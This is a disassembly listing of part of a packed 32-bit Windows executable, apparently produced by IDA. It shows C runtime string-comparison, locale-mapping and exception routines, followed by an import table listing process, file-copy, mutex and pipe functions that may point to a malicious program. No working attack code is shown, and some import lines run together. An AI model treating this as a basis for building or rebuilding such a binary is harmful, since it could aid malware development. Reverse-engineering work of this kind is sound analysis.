loc_426FC4: ; CODE XREF: sub_426FB4+7j
call sub_426FDE
test byte_4DF6E0, 1
jnz short loc_426FD9
or byte_4DF6E0, 1
loc_426FD9: ; CODE XREF: sub_426FB4+1Cj
jmp loc_426FEA
sub_426FB4 endp
; =============== S U B R O U T I N E =======================================
sub_426FDE proc near ; CODE XREF: sub_426FB4:loc_426FC4p
push offset nullsub_1
call sub_41D810
pop ecx
retn
sub_426FDE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426FB4
loc_426FEA: ; CODE XREF: sub_426FB4:loc_426FD9j
push offset nullsub_1
call sub_41D810
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_426FB4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426FF6 proc near ; CODE XREF: sub_40CCA2+5Ep
; sub_40F23F+148p ...
jmp dword_42822C
sub_426FF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426FFC proc near ; CODE XREF: sub_41D0A0+23p
; sub_41D344+13p
jmp dword_4281A0
sub_426FFC endp
; =============== S U B R O U T I N E =======================================
sub_427002 proc near ; CODE XREF: sub_4177CF+E2p
; sub_4177CF+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DE0EC, 0
push ebx
jnz short loc_427048
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_427014: ; CODE XREF: sub_427002+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_427026
cmp bx, 41h
jb short loc_427026
add ebx, 20h
loc_427026: ; CODE XREF: sub_427002+19j
; sub_427002+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_427038
cmp ax, 41h
jb short loc_427038
add eax, 20h
loc_427038: ; CODE XREF: sub_427002+2Bj
; sub_427002+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_427078
cmp bx, ax
jz short loc_427014
jmp short loc_427078
; ---------------------------------------------------------------------------
loc_427048: ; CODE XREF: sub_427002+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_427052: ; CODE XREF: sub_427002+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_4271B3
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_4271B3
pop ecx
test bx, bx
pop ecx
jz short loc_427076
cmp bx, ax
jz short loc_427052
loc_427076: ; CODE XREF: sub_427002+6Dj
pop edi
pop esi
loc_427078: ; CODE XREF: sub_427002+3Dj
; sub_427002+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_427002 endp
; =============== S U B R O U T I N E =======================================
sub_427082 proc near ; DATA XREF: .packed:off_428D70o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_427125
test [esp+4+arg_0], 1
jz short loc_427098
push esi
call sub_41D453
pop ecx
loc_427098: ; CODE XREF: sub_427082+Dj
mov eax, esi
pop esi
retn 4
sub_427082 endp
; =============== S U B R O U T I N E =======================================
sub_42709E proc near ; CODE XREF: sub_426CFA+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_428D70
push dword ptr [edi]
call sub_41B7B0
inc eax
push eax
call sub_41D795
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_4270CD
push dword ptr [edi]
push eax
call sub_41C680
pop ecx
pop ecx
loc_4270CD: ; CODE XREF: sub_42709E+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_42709E endp
; =============== S U B R O U T I N E =======================================
sub_4270DB proc near ; CODE XREF: sub_426DE1+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_428D70
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_427118
push dword ptr [edi+4]
call sub_41B7B0
inc eax
push eax
call sub_41D795
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42711E
push dword ptr [edi+4]
push eax
call sub_41C680
pop ecx
pop ecx
jmp short loc_42711E
; ---------------------------------------------------------------------------
loc_427118: ; CODE XREF: sub_4270DB+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_42711E: ; CODE XREF: sub_4270DB+2Ej
; sub_4270DB+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_4270DB endp
; =============== S U B R O U T I N E =======================================
sub_427125 proc near ; CODE XREF: sub_426D88+2Bp
; sub_426E3E+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_428D70
jz short locret_42713A
push dword ptr [ecx+4]
call sub_41D453
pop ecx
locret_42713A: ; CODE XREF: sub_427125+Aj
retn
sub_427125 endp
; =============== S U B R O U T I N E =======================================
sub_42713B proc near ; DATA XREF: .packed:00428D74o
mov eax, [ecx+4]
test eax, eax
jnz short locret_427147
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_427147: ; CODE XREF: sub_42713B+5j
retn
sub_42713B endp
; =============== S U B R O U T I N E =======================================
sub_427148 proc near ; CODE XREF: .packed:00427160p
mov dword ptr [ecx], offset off_428D90
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_42715C
push ecx
call sub_41B881
pop ecx
locret_42715C: ; CODE XREF: sub_427148+Bj
retn
sub_427148 endp
; ---------------------------------------------------------------------------
loc_42715D: ; DATA XREF: .packed:off_428D90o
push esi
mov esi, ecx
call sub_427148
test byte ptr [esp+8], 1
jz short loc_427173
push esi
call sub_41D453
pop ecx
loc_427173: ; CODE XREF: .packed:0042716Aj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427179 proc near ; CODE XREF: sub_426CA0+54p
; sub_426D6B+18p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_428D98
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_42805C ; RaiseException
pop edi
pop esi
leave
retn 8
sub_427179 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4271B3 proc near ; CODE XREF: sub_427002+56p
; sub_427002+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_4271C5
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_4271C5: ; CODE XREF: sub_4271B3+Bj
cmp dword_4DE0EC, 0
jnz short loc_4271DF
cmp ax, 41h
jb short locret_427226
cmp ax, 5Ah
ja short locret_427226
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_4271DF: ; CODE XREF: sub_4271B3+19j
cmp ax, 100h
jnb short loc_4271F9
push 1
push eax
call sub_427461
pop ecx
test eax, eax
pop ecx
jnz short loc_4271F9
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_4271F9: ; CODE XREF: sub_4271B3+30j
; sub_4271B3+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DE0EC
call sub_427228
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_427226
mov ax, [ebp+var_2]
locret_427226: ; CODE XREF: sub_4271B3+1Fj
; sub_4271B3+25j ...
leave
retn
sub_4271B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427228 proc near ; CODE XREF: sub_4271B3+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428DB8
push offset sub_423D9C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DE344, esi
jnz short loc_42729E
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_428948
mov edi, 100h
push edi
push esi
call dword_428050 ; LCMapStringW
test eax, eax
jz short loc_42727C
mov dword_4DE344, ebx
jmp short loc_42729E
; ---------------------------------------------------------------------------
loc_42727C: ; CODE XREF: sub_427228+4Aj
push esi
push esi
push ebx
push offset word_4CDB1C
push edi
push esi
call dword_428054 ; LCMapStringA
test eax, eax
jz loc_42741D
mov dword_4DE344, 2
loc_42729E: ; CODE XREF: sub_427228+2Ej
; sub_427228+52j
cmp [ebp+arg_C], esi
jle short loc_4272B3
push [ebp+arg_C]
push [ebp+arg_8]
call sub_427431
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_4272B3: ; CODE XREF: sub_427228+79j
mov eax, dword_4DE344
cmp eax, 1
jnz short loc_4272DA
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428050 ; LCMapStringW
jmp loc_42741F
; ---------------------------------------------------------------------------
loc_4272DA: ; CODE XREF: sub_427228+93j
cmp eax, 2
jnz loc_42741D
cmp [ebp+arg_18], esi
jnz short loc_4272F0
mov eax, dword_4DE0FC
mov [ebp+arg_18], eax
loc_4272F0: ; CODE XREF: sub_427228+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call dword_428180 ; WideCharToMultiByte
mov [ebp+var_20], eax
cmp eax, esi
jz loc_42741D
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41C2F0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_427336
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_427336: ; CODE XREF: sub_427228+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_42741D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call dword_428180 ; WideCharToMultiByte
test eax, eax
jz loc_42741D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428054 ; LCMapStringA
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_42741D
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41C2F0
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4273B9
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_4273B9: ; CODE XREF: sub_427228+17Dj
cmp ebx, esi
jz short loc_42741D
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428054 ; LCMapStringA
test eax, eax
jz short loc_42741D
test byte ptr [ebp+arg_4+1], 4
jz short loc_4273F7
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_427419
cmp eax, edi
jl short loc_4273E8
mov eax, edi
loc_4273E8: ; CODE XREF: sub_427228+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41BDC0
add esp, 0Ch
jmp short loc_427419
; ---------------------------------------------------------------------------
loc_4273F7: ; CODE XREF: sub_427228+1B1j
cmp [ebp+arg_14], esi
jnz short loc_427400
push esi
push esi
jmp short loc_427406
; ---------------------------------------------------------------------------
loc_427400: ; CODE XREF: sub_427228+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_427406: ; CODE XREF: sub_427228+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
call dword_428184 ; MultiByteToWideChar
mov edi, eax
cmp edi, esi
jz short loc_42741D
loc_427419: ; CODE XREF: sub_427228+1B8j
; sub_427228+1CDj
mov eax, edi
jmp short loc_42741F
; ---------------------------------------------------------------------------
loc_42741D: ; CODE XREF: sub_427228+66j
; sub_427228+B5j ...
xor eax, eax
loc_42741F: ; CODE XREF: sub_427228+ADj
; sub_427228+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_427228 endp
; =============== S U B R O U T I N E =======================================
sub_427431 proc near ; CODE XREF: sub_427228+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_427450
loc_427441: ; CODE XREF: sub_427431+1Dj
cmp word ptr [eax], 0
jz short loc_427450
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_427441
loc_427450: ; CODE XREF: sub_427431+Ej
; sub_427431+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_42745E
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_42745E: ; CODE XREF: sub_427431+24j
mov eax, edx
retn
sub_427431 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427461 proc near ; CODE XREF: sub_4271B3+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_4274A1
cmp [ebp+arg_0], 100h
jnb short loc_427485
movzx eax, [ebp+arg_0]
mov ecx, off_43EFEC
mov ax, [ecx+eax*2]
jmp short loc_4274A8
; ---------------------------------------------------------------------------
loc_427485: ; CODE XREF: sub_427461+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_4274B3
add esp, 18h
test eax, eax
jnz short loc_4274A5
loc_4274A1: ; CODE XREF: sub_427461+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4274A5: ; CODE XREF: sub_427461+3Ej
mov eax, [ebp+var_4]
loc_4274A8: ; CODE XREF: sub_427461+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_427461 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4274B3 proc near ; CODE XREF: sub_427461+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428DD0
push offset sub_423D9C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DE348
xor edi, edi
cmp eax, edi
jnz short loc_427522
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_428948
push esi
call dword_428020 ; GetStringTypeW
test eax, eax
jz short loc_427500
mov eax, esi
jmp short loc_42751D
; ---------------------------------------------------------------------------
loc_427500: ; CODE XREF: sub_4274B3+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CDB1C
push esi
push edi
call dword_428024 ; GetStringTypeA
test eax, eax
jz loc_427664
push 2
pop eax
loc_42751D: ; CODE XREF: sub_4274B3+4Bj
mov dword_4DE348, eax
loc_427522: ; CODE XREF: sub_4274B3+2Fj
cmp eax, 1
jnz short loc_42753E
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428020 ; GetStringTypeW
jmp loc_427666
; ---------------------------------------------------------------------------
loc_42753E: ; CODE XREF: sub_4274B3+72j
cmp eax, 2
jnz loc_427664
cmp [ebp+arg_10], edi
jnz short loc_427554
mov eax, dword_4DE0FC
mov [ebp+arg_10], eax
loc_427554: ; CODE XREF: sub_4274B3+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call dword_428180 ; WideCharToMultiByte
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_427664
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41C2F0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41BD60
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4275B2
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_4275B2: ; CODE XREF: sub_4274B3+EAj
cmp [ebp+var_2C], edi
jz loc_427664
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call dword_428180 ; WideCharToMultiByte
test eax, eax
jz loc_427664
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41C2F0
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_427607
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_427607: ; CODE XREF: sub_4274B3+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_427664
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_42761B
mov eax, dword_4DE0EC
loc_42761B: ; CODE XREF: sub_4274B3+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call dword_428024 ; GetStringTypeA
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_427664
cmp word ptr [esi], 0FFFFh
jnz short loc_427664
push edi
push ebx
push [ebp+arg_C]
call sub_41D460
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_427666
; ---------------------------------------------------------------------------
loc_427664: ; CODE XREF: sub_4274B3+61j
; sub_4274B3+8Ej ...
xor eax, eax
loc_427666: ; CODE XREF: sub_4274B3+86j
; sub_4274B3+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4274B3 endp
; =============== S U B R O U T I N E =======================================
sub_427678 proc near ; DATA XREF: .packed:00428F74o
; FUNCTION CHUNK AT 0040D308 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D308
sub_427678 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_427696
mov ecx, [ebp+8]
jmp loc_40D308
; ---------------------------------------------------------------------------
locret_427696: ; CODE XREF: .packed:00427688j
retn
; ---------------------------------------------------------------------------
loc_427697: ; DATA XREF: sub_40CEE3o
mov eax, offset dword_428F78
jmp loc_41D0EF
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D308
; ---------------------------------------------------------------------------
loc_4276AC: ; DATA XREF: .packed:00428FA0o
lea ecx, [ebp-1Ch]
jmp loc_40D308
; ---------------------------------------------------------------------------
loc_4276B4: ; DATA XREF: sub_40D082o
mov eax, offset dword_428FA4
jmp loc_41D0EF
; ---------------------------------------------------------------------------
align 10h
loc_4276C0: ; DATA XREF: sub_40D5E9o
mov eax, offset dword_428FF4
jmp loc_41D0EF
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_40D308
; ---------------------------------------------------------------------------
loc_4276D4: ; DATA XREF: sub_426CA0o
mov eax, offset dword_429090
jmp loc_41D0EF
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-14h]
jmp sub_427125
; ---------------------------------------------------------------------------
loc_4276E8: ; DATA XREF: sub_426CFAo
mov eax, offset dword_4290B8
jmp loc_41D0EF
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_427125
; ---------------------------------------------------------------------------
loc_4276FC: ; DATA XREF: sub_426D88o
mov eax, offset dword_429100
jmp loc_41D0EF
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_427125
; ---------------------------------------------------------------------------
loc_427710: ; DATA XREF: sub_426DE1o
mov eax, offset dword_429128
jmp loc_41D0EF
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_427125
; ---------------------------------------------------------------------------
loc_427724: ; DATA XREF: sub_426E3Eo
mov eax, offset dword_429150
jmp loc_41D0EF
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-20h]
jmp loc_40D308
; ---------------------------------------------------------------------------
loc_427738: ; DATA XREF: sub_426ECCo
mov eax, offset dword_4291B8
jmp loc_41D0EF
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_427125
; ---------------------------------------------------------------------------
loc_42774C: ; DATA XREF: sub_426F26o
mov eax, offset dword_4291E0
jmp loc_41D0EF
; ---------------------------------------------------------------------------
align 4
dd 22Ah dup(0)
dword_428000 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_417322+26r
dword_428004 dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableAdword_428008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_426733+261r
dword_42800C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_426733+B9r
dword_428010 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_428014 dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtrdword_428018 dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_42801C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_424F93+6r
dword_428020 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_424517+12Dr ...
dword_428024 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_424517+8Dr ...
dword_428028 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_42802C dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_42410C:loc_42415Fr
dword_428030 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_423BE6+166r ...
dword_428034 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_423EAD+143r
dword_428038 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_42803C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_428040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_423AB4+E1r
dword_428044 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_428048 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsAdword_42804C dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_428050 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_423383+14Dr ...
dword_428054 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_423383+A7r ...
dword_428058 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_42805C dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_427179+2Er
dword_428060 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_428064 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401132+29r ...
dword_428068 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_401252+7Ar ...
dword_42806C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_401252+2CCr ...
dword_428070 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_401252+2B4r ...
dword_428074 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_401252+DDr ...
dword_428078 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_401252+C7r ...
dword_42807C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_401B66+72Er ...
dword_428080 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_401B66+7751r ...
dword_428084 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_4177CF+15r ...
dword_428088 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_42808C dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_401252+3D4r ...
dword_428090 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_428094 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_401252+212r ...
dword_428098 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_40FF08+10Fr ...
dword_42809C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_409A1D+2r ...
dword_4280A0 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_401252+302r ...
dword_4280A4 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4280A8 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401B66+24C8r ...
dword_4280AC dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_40B0C8+27r ...
dword_4280B0 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_418A34+35r
dword_4280B4 dd 7C835E8Fh ; resolved to->KERNEL32.MoveFileAdword_4280B8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_409A1D:loc_409F2Br ...
dword_4280BC dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_417474+60r ...
dword_4280C0 dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameA ; sub_419D4E+34r
dword_4280C4 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_4280C8 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_418BBC+32r ...
dword_4280CC dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_40B71C+1ACr ...
dword_4280D0 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4280D4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4280D8 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4280DC dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_40C1BE+241r
dword_4280E0 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_40D86F+17Er ...
dword_4280E4 dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_4280E8 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_40D86F+4B0r ...
dword_4280EC dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_40E453+1CBr ...
dword_4280F0 dd 7C8312E5h ; resolved to->KERNEL32.TransactNamedPipedword_4280F4 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_411355+119r ...
dword_4280F8 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandle ; sub_4115A3+77r ...
dword_4280FC dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_40EDB1+10Ar ...
dword_428100 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; sub_4114AA+23r ...
dword_428104 dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatA ; sub_41B1FC+1B6r
dword_428108 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatA ; sub_41B1FC+19Fr
dword_42810C dd 7C810A77h ; resolved to->KERNEL32.GetFileSize ; sub_410838+38r ...
dword_428110 dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_417322+C0r ...
dword_428114 dd 7C80E7ECh ; resolved to->KERNEL32.FileTimeToSystemTime ; sub_4177CF+135r
dword_428118 dd 7C80E866h ; resolved to->KERNEL32.FileTimeToLocalFileTime ; sub_4177CF+123r
dword_42811C dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_4101B7+5DCr ...
dword_428120 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_416398+259r ...
dword_428124 dd 7C81B58Bh ; resolved to->KERNEL32.SetConsoleCtrlHandlerdword_428128 dd 7C80A05Dh ; resolved to->KERNEL32.WaitForMultipleObjectsdword_42812C dd 7C873A31h ; resolved to->KERNEL32.GenerateConsoleCtrlEventdword_428130 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_4157A5+Dr ...
dword_428134 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_413133+2D4r ...
